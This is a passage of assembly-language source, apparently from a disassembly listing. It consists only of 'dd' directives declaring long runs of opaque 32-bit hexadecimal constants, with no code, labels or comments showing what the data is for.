		dd 95094AAh, 0CA92576Dh, 47E4DDEAh, 73ED8B15h, 0FA46E04Dh
		dd 0B5F293B5h, 9DCC301Eh, 23B579B9h, 5E6C4AEBh,	0D0F5A22Fh
		dd 2BA0D937h, 38137461h
		dd 0CAD3AE52h, 0EFE7CCE2h, 0CEC75EB1h, 6D6F04E6h, 0AD4D81E0h
		dd 0BBBC9BDFh, 0B95679B6h, 258AD4B3h, 664CF767h, 0F5068146h
		dd 4585E02Eh, 0DE988A84h, 865AA972h, 51681477h,	0F67F78CEh
		dd 3709A5C1h, 444CA7C0h, 651B651Ch, 16A84F2Eh, 610195BFh
		dd 0D374AA80h, 5B9A74E0h, 0A1231D9Eh, 0A6C9FDE8h, 0CB6198FFh
		dd 6D2C4730h, 0E3E3DA44h, 8A0B9D8Fh, 0E8AF0E41h, 98B53311h
		dd 2B7F175h, 0D234DF97h, 5BA1858h, 0F76786BEh, 8A72DCA9h
		dd 0AF6BC279h, 20B56F58h, 3DC85900h, 8AB46B5Fh,	7FD60943h
		dd 3EC49B5Fh, 202F8DF3h, 4E28B172h, 71D5118Ah, 0E470BF26h
		dd 0F0B8CAF1h, 0C9FCD77Bh, 0F36E362Eh, 0B89FE2CDh, 0C4EE7BAAh
		dd 165C9689h, 9B0ABC9h,	8E63EF53h, 61572FF8h, 0FC66B6Ah
		dd 0C271F3A7h, 6DFC589Dh, 5AAB21B3h, 0BAAEB78Dh, 0ED8E607Eh
		dd 0C62B95ADh, 85B4A1C6h, 0BEA6E749h, 0D09E4299h, 72AE07F3h
		dd 0E7BA6E5Eh, 0D872D764h, 6AAB0535h, 0EF511621h, 89E53384h
		dd 366EB687h, 0E78332E3h, 335D7ECAh, 835D4ADDh,	310CAD0Bh
		dd 0D4C8D81Eh, 8888B3E0h, 258EA9CAh, 14E8C999h,	0ECA2F4DCh
		dd 6450AE93h, 0EFD9CB69h, 54A697DEh, 50D1570Dh,	14FEC655h
		dd 0C4B6CC6Fh, 8AA21390h, 0C5577864h, 72FEB80Ch, 3E482653h
		dd 24CD8413h, 5D581552h, 5E57011Ch, 0C8CC28A8h,	52A265Eh
		dd 0ACE7D59Ch, 50E8368Ch, 0F2E5558Ah, 721F37F3h, 0A1790BFAh
		dd 688ED3Ah, 57F8731Eh,	27C95414h, 1343B836h, 0C6585EDFh
		dd 61A52AF9h, 28DBE45h,	7DE817Ch, 0F03C1746h, 2986CCD4h
		dd 45A73297h, 5A7DF9E1h, 68C62AF2h, 0F8331DEFh,	4DA2D921h
		dd 8A526B47h, 59457A0Fh, 6746D2CDh, 8F8223E5h, 6782E12Ah
		dd 7C163F76h, 637FD1AAh, 45A6052Ch, 5534E1BEh, 0ADAB7055h
		dd 6AB04BC1h, 4232F11Fh, 4192F455h, 0EA892EE9h,	5DBAB518h
		dd 0C8E5196Ah, 4CAC7575h, 0DCD7798Dh, 0D4FDF4D5h, 9D0E9195h
		dd 2B0DAD63h, 2697CEB1h, 95A13053h, 0BFDF297Eh,	8CCB335h
		dd 9887655Eh, 7BABFC2Bh, 5BD9F6C7h, 7D3D324Bh, 0EFB7434Dh
		dd 7FBB592Ch, 0E7D45F0h, 0A781BD5Ah, 599554A7h,	34143C83h
		dd 69704C8Bh, 30AAF875h, 9FC612BBh, 504A91D9h, 7AB3C7E4h
		dd 0D0B831B9h, 7DE29E45h, 7B557DF8h, 9B53FB6Dh,	0D162B545h
		dd 4B170FA7h, 159F92BFh, 478356D6h, 34A62A4Bh, 0AD575F3Ch
		dd 5DEE39B8h, 4CFA2332h, 151A6309h, 0DCAD2CE3h,	0B864352Fh
		dd 0ED043E55h, 5D79CAEEh, 94F62914h, 0EDD513A7h, 93B246C9h
		dd 2E957644h, 89DA1598h, 0F2E28BD4h, 926A8899h,	0EB7C8BFh
		dd 0AB445D6Ch, 4CB2B89Ch, 73F3463Fh, 0FEC3492h,	0A52B12DAh
		dd 4CF6BFFEh, 0BE2B942Bh, 6320ED75h, 7AB6CD03h,	47859056h
		dd 6F26AAD7h, 0D17381E5h, 6B1154ADh, 45743209h,	319703FFh
		dd 6730A3F4h, 442372E8h, 2FD13CEAh, 0AC1D1FAFh,	8FE89B49h
		dd 650DC1ACh, 0E362A197h, 3EFD8B94h, 7D2D40F0h,	0D35FCF9Ah
		dd 863D64C0h, 0AA197A3Dh, 0CCF4EF4h, 0FA652E03h, 0B1AAEE7Eh
		dd 0C270CDB2h, 0B53C1BD7h, 64D0E998h, 7E900B2Ch, 4D76C1DFh
		dd 53585B44h, 0F6F32AE2h, 0C9063312h, 6F0A5315h, 1B0DC59Eh
		dd 4453B53Ah, 0A144356h, 0A9B95AD0h, 7C7C5105h,	4B8E1E09h
		dd 181F3EFFh, 0BB49BD8Ch, 0D5890E63h, 756CEDC2h, 78B24BB9h
		dd 0D3AEDD38h, 67AFBE18h, 0AE356E66h, 0CBBB959Bh, 0A69EED1Dh
		dd 0F45AA530h, 88B4FCABh, 3769E41Bh, 0FC3BE030h, 0B1183190h
		dd 8D081F22h, 0F4A8CF27h, 6A38B059h, 3D8DD703h,	8DFE48Bh
		dd 242F5C83h, 0EC2E361Fh, 8C8AEB96h, 57065A61h,	0CCB6975h
		dd 0B37CBA5Bh, 864661EEh, 0FAAC34F5h, 89EEC273h, 0AF100E1Fh
		dd 7FB66BD4h, 0DED2EC24h, 0BBADB81Fh, 8B445367h, 0CF928B59h
		dd 976966A7h, 0BFADEFh,	4AE47613h, 35556941h, 0D215063Bh
		dd 0B690BF61h, 9FAABB12h, 2EF12E76h, 35AE2D9Ch,	0F9EA4AB7h
		dd 99F50681h, 99130C94h, 53170B71h, 0A8EB326Fh,	5ED17BB7h
		dd 0E0B80895h, 0C229A7E7h, 0C9364CBAh, 9EF9F7EFh, 86BEAC9Ch
		dd 1250675Bh, 2B8D0486h, 949DBB8Bh, 0AA0A2622h,	6139F79Eh
		dd 5563B550h, 0F2095F8Dh, 4B555A86h, 946CC65Dh,	60D3AD13h
		dd 54C2B551h, 2AD42F2h,	46F8521Dh, 0BFEACDA0h, 0B99C6CD1h
		dd 1C489205h, 896843F0h, 0A2383386h, 546DA32Eh,	0A3369929h
		dd 8BCC5BFBh, 42FFD178h, 0DAB0E97Ch, 59CBA8AEh,	5B05385Ah
		dd 55E0E450h, 981FFFBFh, 0E339F3E1h, 8D6CC50Ch,	91FD0516h
		dd 9FA5601h, 8EA6BEA3h,	0EAD2E17Fh, 4DF169A5h, 7676832Bh
		dd 36A6AB7Bh, 0F5FADF9h, 88953D0Ch, 0D2C18DDFh,	0F2FE2FC8h
		dd 96CEACD1h, 97E8A8Fh,	8F6E339Fh, 0FE010F29h, 5BB6BA9Dh
		dd 492F23EDh, 0FF56CCD9h, 0B415D46Bh, 9ADDA59Ch, 6954DE33h
		dd 2465EC75h, 4B861758h, 0C0AB78CFh, 5C82DE71h,	4BAC1D28h
		dd 0BE85CB52h, 0C8416E59h, 0C1C3BF6Ch, 0A66368FEh, 15E7EB7h
		dd 0CA894CECh, 5DBF43D6h, 3B7ED091h, 8755BF7Eh,	56158C1Bh
		dd 0BDA0D41Fh, 0AAB4DA9Eh, 0D404814Ah, 51DD7615h, 0D2FAE15h
		dd 649D9E67h, 0CD5EE0ADh, 0F37F78C5h, 761329A2h, 160AEC9Dh
		dd 12E33594h, 9248F963h, 80BE62ECh, 56AB44C7h, 1BED91C3h
		dd 0CAD235BEh, 54EFF9A6h, 5657CCA9h, 7D9B9EAh, 79C58C92h
		dd 0BCAA26C7h, 9B87AD9Dh, 7EB02B51h, 9DC50F16h,	0A029B19Ah
		dd 5ACB9974h, 5D4C2FD0h, 84463C51h, 18BA3FE2h, 0BB5E6252h
		dd 74F02617h, 0BCC5CD2Bh, 0B29D2524h, 720AFAA0h, 327D0523h
		dd 251ABEC0h, 1700F6Eh,	47850F8Fh, 0BAE2C4CAh, 0D8BB1332h
		dd 79C0C19Eh, 90FCC5BDh, 72BAB335h, 0CA7849FBh,	2FAC602Dh
		dd 0EB3855B3h, 0BA6E829h, 2677D99Ah, 51E1649h, 0FE32CEFEh
		dd 6D059598h, 0C6308312h, 0A8192599h, 55318B5Eh, 0F7576278h
		dd 5BA50BB3h, 0FF91D03Eh, 0FB3ADB5Ch, 0CF525F40h, 79131D66h
		dd 9B757D03h, 4AF9246Ah, 9CD62686h, 0E0F15BFDh,	0F8F1BB28h
		dd 459F62AFh, 0D0A8557Bh, 0C98D2309h, 93091610h, 0DFA851DCh
		dd 3FA06F69h, 8B6A4485h, 0DDDF9E96h, 438DBE83h,	62B0B72Bh
		dd 42AC90DCh, 811B7679h, 8DAEF167h, 0C3860170h,	95FA56B7h
		dd 0D7CAEC0Eh, 9E63BB26h, 0AE25EB03h, 6D556A1h,	6A944ED1h
		dd 0F4E9DFAEh, 0FE1A9987h, 0CDADC9D8h, 9477056Ah, 99AE1D6Fh
		dd 5FEA355Eh, 92B8BC69h, 1978BF8Fh, 0B0B1DF5Dh,	0CEA7372Eh
		dd 0BA2C8D32h, 562D8B7h, 1669EF6Ch, 9674EEh, 97EC8468h
		dd 0F79E6D6Ch, 0F0054C0Dh, 96849C8h, 3D1EF93Eh,	882BA52Fh
		dd 0CDF04EE9h, 0BDF66F73h, 580C4BFAh, 6E75CEACh, 7A682B1Fh
		dd 946251F4h, 1A94CDD1h, 0EF9C6255h, 0A91956D4h, 0A99F905Ch
		dd 7AD63B9h, 54B65EE6h,	14694883h, 115D5C1Fh, 4BF68F82h
		dd 4A24ABFBh, 0E61B3D1h, 95CEE40Ch, 39A62D1Fh, 0A7CF4D37h
		dd 7DBE4510h, 5ADE5FFBh, 6EA976CCh, 93D13CEFh, 2BCE758Fh
		dd 902B8B39h, 232AAD04h, 52BD4C9Ch, 5687939Dh, 8D03F555h
		dd 76898A8Ah, 3F7D7B3Fh, 2BDD0CAFh, 68BF7126h, 4EFD185Eh
		dd 4D5279Ch, 6E19E839h,	5A9E5A0Eh, 0CA8A9E1Dh, 17F70A5Eh
		dd 6C57855Bh, 15505E59h, 0E1D030C7h, 3EE89F40h,	0D74FD978h
		dd 0B1169E07h, 838FE65Bh, 0C8548DE7h, 1C634902h, 0D995CE89h
		dd 0C144F8D1h, 30DEEE12h, 0E672D9F1h, 2B99E18Bh, 9FCE5FDBh
		dd 0F596F26h, 9EDC97B9h, 0B8E94CE7h, 0F55C0BBCh, 0BF1AA85Ch
		dd 0FC971C2Fh, 65FABF98h
		dd 1847E3C0h, 84077CA8h, 679CCE6Ah, 30B5FDC1h, 8756F5BEh
		dd 6D714247h, 7528DAABh, 0BE75752Fh, 0CC699ABEh, 4DF46F8Ah
		dd 0A2EF98E5h, 7D8F81A4h, 7711BF1Ah, 0B288EAB4h, 8ACEA99Fh
		dd 212BDF18h, 2760B374h, 13B7AF3Bh, 0BF707D2Bh,	0BCC973DDh
		dd 8C34FC7Fh, 0F7AD763Bh, 0CFFF523Dh, 8F650DE6h, 3D78CABDh
		dd 0FD96BEFBh, 0D596CB2h, 4ECC2D4Ah, 0AAFF1B6Bh, 0FFC4F078h
		dd 15CE4604h, 0A72EE081h, 0C9EDAD98h, 0A026CAC9h, 0DCA8FDA0h
		dd 8FA4CFF8h, 9613BCFDh, 9DFD2D51h, 0F2622D87h,	2AC38646h
		dd 526D6DDFh, 2CC9DF8Ch, 70D69A0h, 19BA5B7Dh, 0ED5C5D4Ch
		dd 0F8350B95h, 0E29099FDh, 3D6DE8BCh, 3C3C05BAh, 2F65685Bh
		dd 9E806557h, 1F5997D6h, 0D1E669D8h, 6DDA34B0h,	0B01B361Ah
		dd 0BA6A535Ch, 0F5B12037h, 0A2C3153Ah, 0C9B23058h, 929A8A2Eh
		dd 0BA079BCAh, 0C2A93DDFh, 5290D4C3h, 623E9127h, 840FA528h
		dd 7D249FD6h, 386B86CEh, 2A60B8B4h, 351DF5B6h, 0FB2E1850h
		dd 2F3B680Bh, 0F2F24B05h, 5AC74BAh, 2A68CAFCh, 24B4BE83h
		dd 0B03F185h, 3B920506h, 0E447596h, 0ECA54F33h,	114A18F4h
		dd 0BCC76F57h, 8BBA3887h, 0C9A60D7Ah, 7DFE1377h, 0A2E3F44Dh
		dd 75690E1Dh, 6CB4CB51h, 249A5210h, 0C24A9190h,	49D945D5h
		dd 3F057AECh, 5DCB4F64h, 214167Eh, 619F452Bh, 31307FCCh
		dd 161F6EC2h, 31A7188Eh, 606FE6C5h, 4D63AFDAh, 70F08B5Ah
		dd 79B86139h, 0F86E2A7Eh, 72F6B1F4h, 7C46A157h,	1C8C7C1Eh
		dd 0A58E0614h, 0F66F652Ah, 2FF81C0Ah, 3EEFEDC2h, 8017BA4Bh
		dd 0DB3C46B4h, 5F8D3CDAh, 4FEA4B5Eh, 627668BFh,	25E96A9Eh
		dd 0FD8E1774h, 0E4D01D2Dh, 994D13FDh, 0D93AB831h, 2BC122BAh
		dd 0C9D3440Bh, 5BB304FEh, 65CE9595h, 5715A5ACh,	1CCCF928h
		dd 0AD5BB892h, 6A9F2349h, 0FD88BCF5h, 97A55CC0h, 0BFDFD5EDh
		dd 9E325893h, 9D9BA8B9h, 0A4DBE91Dh, 0CB5A0604h, 0F3BBC3D7h
		dd 0A2D215Ch, 53779E0Fh, 83585057h, 242E8356h, 0D5FB6575h
		dd 0D4C99AF1h, 4BB84F95h, 0F168EFF6h, 75DDBD8Dh, 780C13AAh
		dd 487E6827h, 0FCAF73F0h, 75093B50h, 0C886B675h, 0AA36B83h
		dd 0AD07A8A1h, 0E7EE3854h, 0E8D9BA91h, 0BCF15695h, 5957E70Ch
		dd 0E5EE27FBh, 89C6398Ch, 53E9945Bh, 0F7ADE36Dh, 8E13F95Ch
		dd 65843CD9h, 455939D9h, 4753522Ah, 0CAEA0E01h,	0A75EB310h
		dd 191ED10h, 995ABECBh,	1645EC98h, 8768273Fh, 0D28ADBDDh
		dd 0A02B0325h, 2528DA3h, 3FC41DA7h, 0E6F4AF9Bh,	56E2FC1h
		dd 0CECA66F4h, 0A2C66DA4h, 95E52568h, 4CF6AFD1h, 0AA23140Fh
		dd 0F3C0B4BFh, 0A6DA74C6h, 4A1DC2B7h, 0B742421Dh, 5F50AB51h
		dd 0D716EACDh, 0CED7ADDAh, 958F2686h, 0D27B123Ah, 104BE1AEh
		dd 165D6E72h, 0ABAAE31Fh, 0DAA95A49h, 7DECC9C5h, 16AB56A0h
		dd 990E4CA3h, 0E7968D75h, 0E0C64862h, 0D443D187h, 4D49E363h
		dd 4F57EB6Ch, 490572FEh, 0BD94F291h, 0AEAFCD7Fh, 27DA58E3h
		dd 0CE1EB86Eh, 2952F0AEh, 0F95441D2h, 58FFFC60h, 75F80858h
		dd 73D5B7BDh, 52827CB0h, 97CA4E52h, 0AB4733B0h,	510F41BBh
		dd 0ADEFF422h, 7076C052h, 0A3FF859Ah, 0FBB40B18h, 56B212E7h
		dd 790BEB38h, 2215825Dh, 0C60419DDh, 0CCB87116h, 6DD34EB7h
		dd 5142BFD7h, 0DD4C75E4h, 0BAE9ED0h, 7B7D623h, 79D32EC8h
		dd 5A5ECD95h, 8C8869BDh, 85A7D963h, 46E890EAh, 0B81F9D10h
		dd 833DED2Bh, 6FD73E1Ah, 6E60C508h, 0FED439C3h,	2205FDB2h
		dd 6C25D93Bh, 7B0EA3CFh, 0F929E256h, 8BB16D72h,	9FC751A3h
		dd 9A3B7E40h, 8EE9318h,	0A9A92AD5h, 72CC8D64h, 0A7D93657h
		dd 96795966h, 39062C49h, 0A7DF9BC2h, 63E0E907h,	0A23FB95Bh
		dd 0DE266360h, 2B93344Dh, 0B5BACE52h, 42DE39BAh, 943DE4E9h
		dd 5C393DAFh, 2DD740C2h, 0AD75EC76h, 15DE978Eh,	0A53055F6h
		dd 65C4711Ch, 1DC6FC3Dh, 9FAA21A3h, 0AA8B800Fh,	70CC7B7Fh
		dd 0B9156137h, 2CDB4F63h, 0B76E9E57h, 1F47F4F1h, 7AB970F8h
		dd 56507279h, 1164AD06h, 874C8C25h, 72A96274h, 6D906D7Eh
		dd 0CDC2C344h, 0E1ADFC4Eh, 94A58DDh, 8CDA517h, 8F963768h
		dd 5F6B1705h, 58A2ADE8h, 3C7300F0h, 3FFB0FB4h, 65B63A34h
		dd 5AA6D7B3h, 0BF3B168Ch, 30CFF2D0h, 0BE6F24A4h, 28B1749Fh
		dd 610F9FFFh, 33C72773h, 0CA42C6D2h, 2C3F4299h,	9418A9DAh
		dd 662E8B8Eh, 0B7767A91h, 257A6E89h, 0E070C54Ch, 0A27296E0h
		dd 0EABE250Ah, 0D0A5DACAh, 313DC8Ch, 58D49357h,	9EB5E569h
		dd 3440A98Bh, 179B5FBDh, 0C2939027h, 0BC6CA3DFh, 0C95652D6h
		dd 33CD4E1Ah, 0E2737589h, 2519D598h, 43F1CABAh,	2EF58EE2h
		dd 303C7192h, 8AE61044h, 9228890Dh, 5B37F8A6h, 756AC09h
		dd 7673B45Eh, 0C97FC62Bh, 0D9167132h, 81F12D83h, 0BC5BCCA1h
		dd 3CB46DACh, 0EF7BFDA3h, 51ACC4D7h, 0CC552381h, 2D0190B1h
		dd 0AA5FFF96h, 8E4F7F86h, 9B778AA2h, 2D7FB51h, 0B4792D7Fh
		dd 0EE2B575Fh, 0CB3F7F59h, 97F46DE5h, 712B61BBh, 745ADB33h
		dd 77F1B2A1h, 0C6E13B92h, 3639C6B2h, 8111F8CEh,	0A8FC888Bh
		dd 0F9CD5FCFh, 3C90D927h, 0EC26B0C7h, 0BCA696EBh, 0CB178E99h
		dd 0F6F09592h, 1B2326B6h, 0B1709417h, 3A0847CCh, 0C61356A4h
		dd 5112F17Fh, 52EEC7C2h, 0B6E8B65Fh, 0EEA74A16h, 3AB4852Bh
		dd 682F4EDAh, 0BA6D8FE1h, 0BF0F4495h, 0F9CAD79Fh, 0C9A9C361h
		dd 12122C68h, 8B720B7Eh, 4EC6D1A7h, 6085264Bh, 0AEADF6CFh
		dd 0D81E9DB9h, 90E61DAh, 15971D5Eh, 7705BABAh, 0EB50DE94h
		dd 90EAF05Dh, 5636E411h, 2F1026CBh, 474B5B88h, 0DA5077FAh
		dd 7346CD91h, 15F6FAEDh, 5C98AFFFh, 0E0C01E51h,	3D79425h
		dd 4ED3B569h, 123C6940h, 0E295CF2Dh, 5B1BE16Dh,	0E433D85Eh
		dd 62BFE28Bh, 4B9D8E4Bh, 599315A1h, 0F216326Eh,	23E6A530h
		dd 17C3B22Ch, 449C3B74h, 44864ECBh, 4B4385CBh, 38BA3AC5h
		dd 45700F6Eh, 0F6292E4Ch, 563478C3h, 0CE18DD0Dh, 0ADBA0F51h
		dd 41A38A46h, 3041EB25h, 6F9B78A8h, 0A8527B11h,	63F48B50h
		dd 0C3BFD6E8h, 2648E3D8h, 91B7E44Dh, 0D37855A7h, 0C8AA54A9h
		dd 0B607AE0Ch, 0CD4EE5B2h, 0EB5B9DFDh, 13A19E3Ch, 393718A6h
		dd 2615DE0Dh, 274899DDh, 5B423B90h, 0A4AA93B6h,	43D5EB51h
		dd 0DCA1ED55h, 96ED5CA7h, 0DE064D17h, 0DF81074Eh, 0A53D1029h
		dd 0E87FD8D3h, 0A769C39Eh, 0CD2B7A61h, 3FE68CD1h, 0F71B3387h
		dd 7A388EFAh, 0D1FCA835h, 0C7B3B8D3h, 0D51C0FCBh, 23FBD576h
		dd 0C1B308A5h, 8DB5B674h, 7AEE570Fh, 0DF9F7F77h, 6437B471h
		dd 2ED58317h, 3F04F88Dh, 0C9190167h, 0C0736113h, 0B733AAE2h
		dd 6A4B2111h, 0F12BB49Eh, 0D68E4525h, 0E67A4569h, 38AED207h
		dd 0C4347733h, 9ADB44D1h, 9DA75ED3h, 4589B2C0h,	0B6CCE769h
		dd 559971EFh, 0DA324DD5h, 0F6A92CAFh, 81F89975h, 11895343h
		dd 705CF467h, 634F4ABDh, 5826785Fh, 0A62D1D5Dh,	585F3A7Eh
		dd 0EDABB359h, 1457698Ah, 96AEA812h, 0AB4C918Bh, 369C5306h
		dd 5F07C479h, 7602381Fh, 783BCC50h, 0C57D581Ch,	71D8FC5Fh
		dd 0BA4D894Ah, 32FF665Ah, 5E4F6A71h, 0E39F090Dh, 0AE18017Dh
		dd 0A78280Bh, 40AFC640h, 67CF0594h, 5B979D66h, 72D1CCB3h
		dd 7EE299DEh, 0BEA636BDh, 4AA50B1h, 1D8E7D6Bh, 0A4E62AC3h
		dd 0CE8CD32Bh, 8765B67Ah, 0A986CBB1h, 0B0FC0433h, 0D682F6B6h
		dd 4B9717EDh, 5F8303BBh, 0E6F6DE86h, 2D984983h,	714A4B46h
		dd 0D3A0892Dh, 624EFF38h
		dd 5E961154h, 7D14CC8Eh, 905D6325h, 584752C3h, 110FE536h
		dd 0AE7145D6h, 0D30F401Ch, 957DD6D9h, 5A62B9F6h, 0D7B80749h
		dd 6203BA39h, 0B568903Bh, 0A99FDDDBh, 0DCB3D531h, 0F94EB23Dh
		dd 0E9C35890h, 0CAF8EDB6h, 29BF3885h, 8AF165DAh, 7DF63D29h
		dd 51804F2Bh, 0DCD2BE5Ch, 3318BBFDh, 2D6C5A2Bh,	11665F0Ch
		dd 6DA77D83h, 20068A0Dh, 413C48FAh, 1CFA6557h, 29859461h
		dd 0FF43ACFBh, 0E2079AEEh, 63C3E983h, 0E218F47Bh, 32E7E0FAh
		dd 685EB712h, 173B6ECAh, 7592876Bh, 636D1921h, 67976CE4h
		dd 185F107Dh, 0B696E03Ch, 0AC7BA4BEh, 0A2CB23E2h, 51BF5954h
		dd 3C0150B7h, 0BB03CA6Fh, 0C9EE5DFEh, 5D1FC3FEh, 0DA38B185h
		dd 6649D6A9h, 0B67992DCh, 10ACE47Ch, 0FFC04B53h, 0F1EDCF3Bh
		dd 3CD284EBh, 718F5036h, 0CA0D1ABCh, 0FA30CA50h, 0E79F68E9h
		dd 0BEEF35EAh, 0C3D5ED06h, 0E644E4E1h, 5B15852Bh, 3DF9CDF0h
		dd 353E73E7h, 7F3BF015h, 87E2108Eh, 1771396Eh, 227A2C3Ah
		dd 762B1845h, 0AD9169E0h, 0D28A930Eh, 0C8BDD92Ch, 0E5E4BDE0h
		dd 3E5E7D5Ah, 459CB130h, 0A995351Fh, 70595F78h,	0F4A77A71h
		dd 468E7E50h, 1FA9F4EBh, 0F56D04EBh, 3C98A650h,	349F2A7h
		dd 0AE6D1F47h, 0B01C52DDh, 4E95AC13h, 277CB2BAh, 3B63A89h
		dd 0BFBA75CBh, 0A593DE12h, 32F59708h, 7BE54231h, 1F6BD7AAh
		dd 0CEC8418Ch, 9557B1BEh, 0FC3679DFh, 0A6083305h, 0A5C52E95h
		dd 0F2B5D139h, 95EAC620h, 0B74B345Bh, 0BFBF3DEEh, 9DC56E35h
		dd 0B9A90205h, 0A71BC956h, 0B8CCE334h, 0FE5F93AFh, 1758D5C6h
		dd 0C72149FDh, 0A4DEF081h, 7B390163h, 0A77DDCD0h, 96670546h
		dd 7E9F1889h, 7940616Ah, 9B658744h, 0F3BC5DB2h,	83A640F5h
		dd 6FBB697h, 495F7748h,	1F824C8Ah, 0D55EB84Ah, 7DD9355h
		dd 1F8C6B94h, 993B4EFAh, 460694E7h, 0D94B6DA5h,	944AE92Eh
		dd 0CD22A280h, 3D56EB2Ch, 6D292EF1h, 0C5114C2Eh, 8AC47E5Ch
		dd 5CDB752Bh, 0ED66F930h, 0BDED0A9Eh, 8A49056Bh, 0EFF32F32h
		dd 546DD229h, 0B7A2B230h, 0A850126Bh, 4CC39BE9h, 778F7A6Bh
		dd 0AEF81DA7h, 136780C6h, 4C4E44E6h, 0B3CFD50h,	8900618h
		dd 727FDA33h, 0F627E58h, 70ADA079h, 127B9D9Bh, 24A34CB5h
		dd 0A9C8768Bh, 3074331Ah, 71FDFDD7h, 0B474EF56h, 0BC84158h
		dd 0BA7AB3CAh, 8BBE5F56h, 0C8A10DDCh, 0C74B0D28h, 840FAC5Ch
		dd 0ABC946AEh, 84057603h, 0C461C2F6h, 0BEF497F8h, 0BC4291C7h
		dd 9B378214h, 0F6EF1C68h, 6B4981F5h, 0C725965Fh, 17564AAh
		dd 0D487A6AAh, 0FD18C3AFh, 0C6C7BBF6h, 0BC42E084h, 8B1BB42Eh
		dd 0A9DFE8DAh, 0D53F50F5h, 0F481B321h, 0B568168Fh, 768D9E75h
		dd 0A3AC8D2Ah, 60B77E21h, 6455D3E2h, 4F7B4714h,	87CEC5B1h
		dd 1069EF4Dh, 0F6B4D8EAh, 1A5C7AB5h, 0AF076DC7h, 81C539DDh
		dd 0E5B1850Ah, 23957ECFh, 95664301h, 4EB51F3Bh,	0A327353Fh
		dd 0B2C072A5h, 5C3FE6B2h, 0D62B99ABh, 0B960BBCh, 0D2F7AC7h
		dd 40E956FDh, 308CE2D4h, 8AFC9B70h, 969165BFh, 5A2490B7h
		dd 1C351BECh, 3462767Ch, 67C049DAh, 60EBF104h, 97F3C3E6h
		dd 0EEDDA266h, 1FDF989Fh, 5667E4DAh, 0A93ACCC5h, 0FD5D4A32h
		dd 5FE7B18Ch, 6D158B51h, 965A2D6h, 4BF82FD5h, 6E55F5E1h
		dd 9BA7B734h, 77851E3Fh, 0E3FD517Ah, 5F96F303h,	76A0CF69h
		dd 736A488Ch, 5590B7B9h, 40414A26h, 0DA8F06A9h,	442842F7h
		dd 91B4DB19h, 8A9459C2h, 7762A16h, 9609BA2Dh, 0A98F262Fh
		dd 2388DEBAh, 309750DAh, 0C84D5F3Bh, 16FC795Ch,	18694180h
		dd 7466685Dh, 9F74659Ch, 0CBAA7B95h, 0C1F47318h, 703A7569h
		dd 0ADCA18B8h, 0D718D21h, 1CF7DF32h, 81AFB371h,	0FE1C4D48h
		dd 0D7FC58F3h, 0D1DA349Ah, 6B2D0A0Ch, 0BF7D04B1h, 0EAC4AAEBh
		dd 0C27C052Eh, 0BEBFC113h, 639FA112h, 6B650491h, 97AC1894h
		dd 2F14BF81h, 0E55BAAB0h, 0CF703981h, 6F8AA6BBh, 24C6DCEEh
		dd 9AA8A98Bh, 37247CCh,	6E424D17h, 0F5245BF8h, 0CC7DB313h
		dd 0D11E5BD7h, 0DF670A3Ah, 0E09FD441h, 212D7036h, 703219B6h
		dd 0CCB3813Eh, 975CFA44h, 5B9F16Ah, 15172EEEh, 0C25D5567h
		dd 2C795C2Eh, 5A969AA8h, 0F9EB2CE8h, 3E749A40h,	5788FC4Bh
		dd 3AD7CC45h, 0D9B8A4AAh, 0C36D79BEh, 6D63A600h, 45F15E0Ch
		dd 0B5A3E5D7h, 0C35D31BEh, 8F248F54h, 0C9F9562Ah, 66D61A24h
		dd 0AC7989EDh, 0A22B50D3h, 134D67C2h, 2E2256D4h, 80BF0FCAh
		dd 8329F736h, 0BF62B73Eh, 13DC8E1h, 0BBB9CAC1h,	53375DF8h
		dd 0D2522469h, 8871B013h, 3BA7438Ah, 0EFF1E358h, 0A47D31F4h
		dd 0C4D4B5Dh, 0AF3D46Dh, 5A92F78Fh, 43C3816Fh, 3ED8F985h
		dd 559BE706h, 0BFCED76Ah, 4B525A2Fh, 0EB51AEF0h, 0D1D0955Ah
		dd 32DB43D6h, 0B1AC5F0Ah, 0C71D5430h, 8EB945Eh,	86479EB2h
		dd 5AE27A11h, 0CE20AB47h, 0E6BAE55Ah, 0B872934Ch, 0DBF71F8Fh
		dd 7A989F1Dh, 0EAEB2954h, 0D252DC2Fh, 0AEDD650Dh, 0F538798Eh
		dd 0A25AC538h, 0A76D5325h, 0FF7BBE5h, 81ECC303h, 351FC8A1h
		dd 419FC1ECh, 69B851C9h, 3E4945D2h, 2E93EA32h, 9475B2D8h
		dd 95F8BD5h, 93E9677Bh,	0C92A5424h, 38B72D7Fh, 0A9FD5D1h
		dd 0B85FF50Dh, 2AA297AAh, 0AF32C6A8h, 20247D78h, 73932297h
		dd 0B2E389A8h, 0DD1FEE2h, 5ED672E8h, 0A572B779h, 0F6688FDDh
		dd 7E6F201Ah, 79D1D80Bh, 3B618BD3h, 273B30A9h, 55AD2D34h
		dd 0F65D33E9h, 2B6512E8h, 84C654BDh, 7B9C2157h,	0DB71B473h
		dd 4FF19F92h, 172F54E7h, 545D4D34h, 71A05D77h, 5ED396B2h
		dd 0C9F9839h, 60C7187Eh, 6711ADD9h, 7AF322D2h, 1CED543Ch
		dd 2129435Ah, 0BB7ABAFAh, 0DF45E29Fh, 0B637D9E0h, 0A78FB67Fh
		dd 0C8818DC6h, 1A65642Fh, 622054FBh, 7E8E4BC2h,	0BCCEC369h
		dd 0FD4D7407h, 0AE070BD4h, 0F364903Fh, 0BA5DABE3h, 0ECE5F0Fh
		dd 6488E462h, 74B85A25h, 0E820F61Bh, 0EBBCBEE5h, 0AAA6E06Bh
		dd 0B063B2FCh, 24A1637Fh, 0EC53A03Bh, 5E49519Ch, 40F8C8FFh
		dd 55AC699Ah, 4E9CC2F1h, 0D455EFE7h, 7B370999h,	0AF7BFA2Eh
		dd 0C8FB8571h, 917EC14Bh, 0BC5CD6D8h, 58FDDE78h, 898418A1h
		dd 46DFC477h, 0CD269B29h, 76866645h, 6F88998Bh,	835E7178h
		dd 18BAA8A7h, 684BED11h, 50F8812h, 0BEA5ABA9h, 2D3741B8h
		dd 81883DF3h, 0F6A7F390h, 0EF3A7919h, 6F3F018Ah, 3DF5446Dh
		dd 0F6D78DAFh, 96F0B63Eh, 0B0E125EBh, 8D3EBCAh,	0F7709EA3h
		dd 6528DFBBh, 0C1DA5F5Dh, 0A30A2388h, 39C454C1h, 0F4BACD02h
		dd 0E08FE453h, 73E2114Ch, 0BE3F4617h, 307CEC99h, 20EFA7FBh
		dd 0B716E201h, 42A15751h, 0F8EFAC4Fh, 0B58468CBh, 0BC9CF387h
		dd 0F22FE449h, 0CC2B2BDBh, 7D321AAAh, 3A2E6B8Ch, 1625D431h
